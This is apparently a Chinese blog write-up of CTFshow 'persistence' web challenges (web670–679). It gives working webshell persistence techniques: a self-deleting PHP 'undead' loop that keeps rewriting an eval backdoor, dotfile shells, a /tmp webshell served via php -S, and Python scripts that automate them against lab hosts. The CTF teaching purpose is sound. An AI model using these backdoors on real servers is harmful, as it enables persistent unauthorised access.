• CTFSHOW权限维持篇


    web670-web676

    题目在进行check后,会删掉网站根目录下的所有文件。
    方法一
    预测是使用的如下命令

    echo 'flag{xxxx}' > /flag_xx.txt
    rm -rf *
    
    • 1
    • 2

    rm -rf *其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。

    方法二
    使用反弹shell
    不过题目是不出网的,所以这种方法暂时无法考虑。

    方法三
    可以使用不死马将木马写入内存。

    <?php
        ignore_user_abort(true);
        set_time_limit(0);
        unlink(__FILE__);
        $file = 'shell.php';
        $code = '<?php @eval($_POST[1]);?>';
        while (1) {
            file_put_contents($file, $code);
            usleep(5000);
        }
    ?>
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
    一键利用脚本

    import requests
    url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
    data1={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
    r=requests.post(url+'?action=cmd',data=data1)
    try:
    	requests.get(url+'a.php',timeout=(1,1))
    except:
    	requests.get(url+'?action=check')
    	r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
    	print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    web677、web678

    和前面有点不同,没有写入权限(除了/tmp目录)
    猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
    所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
    payload
    cmd=system('while true;do cat /tmp/f*;done');

    web679

    check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务
    php -S 0.0.0.0:80,哪个目录下运行该命令,哪个目录就被当作根目录。
    有点类似于python开启web服务
    python -m SimpleHTTPServer 80
    大致流程如下:
    1、/tmp目录可写,在该目录下生成木马文件
    cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
    2、开启web服务
    cmd=system('cd /tmp;php -S 0.0.0.0:80');
    3、触发check
    4、利用木马
    但在实际使用中会发现,手动开启的web服务check后也会被停掉。
    所以需要保证check后再开启web服务,也就是加个延时。

    import requests
    url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
    
    data1={'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
    r=requests.post(url+'?action=cmd',data=data1)
    
    
    data2={'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
    try:
    	requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
    except:
    	requests.get(url+'?action=check')
    	while True:
    		r=requests.post(url,data={'1':'system("cat /f*");'})
    		if "ctfshow{" in r.text:
    			print(r.text)
    			break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
  • 相关阅读:
    Java调用ffmpeg处理视频,并记录下遇到的坑
    算法:(一)整数
    C语言排序代码汇总测试
    Java第6章 类的多态
    缓存行/伪共享问题,验证优化
    全局优化的蝴蝶优化算法-附代码
    微信小程序weui-form表单的使用
    Java 面试常遇到的3道题,你知道答案吗?
    macOS telnet替代方式
    二进制方式部署consul单机版
  • 原文地址:https://blog.csdn.net/miuzzx/article/details/125521430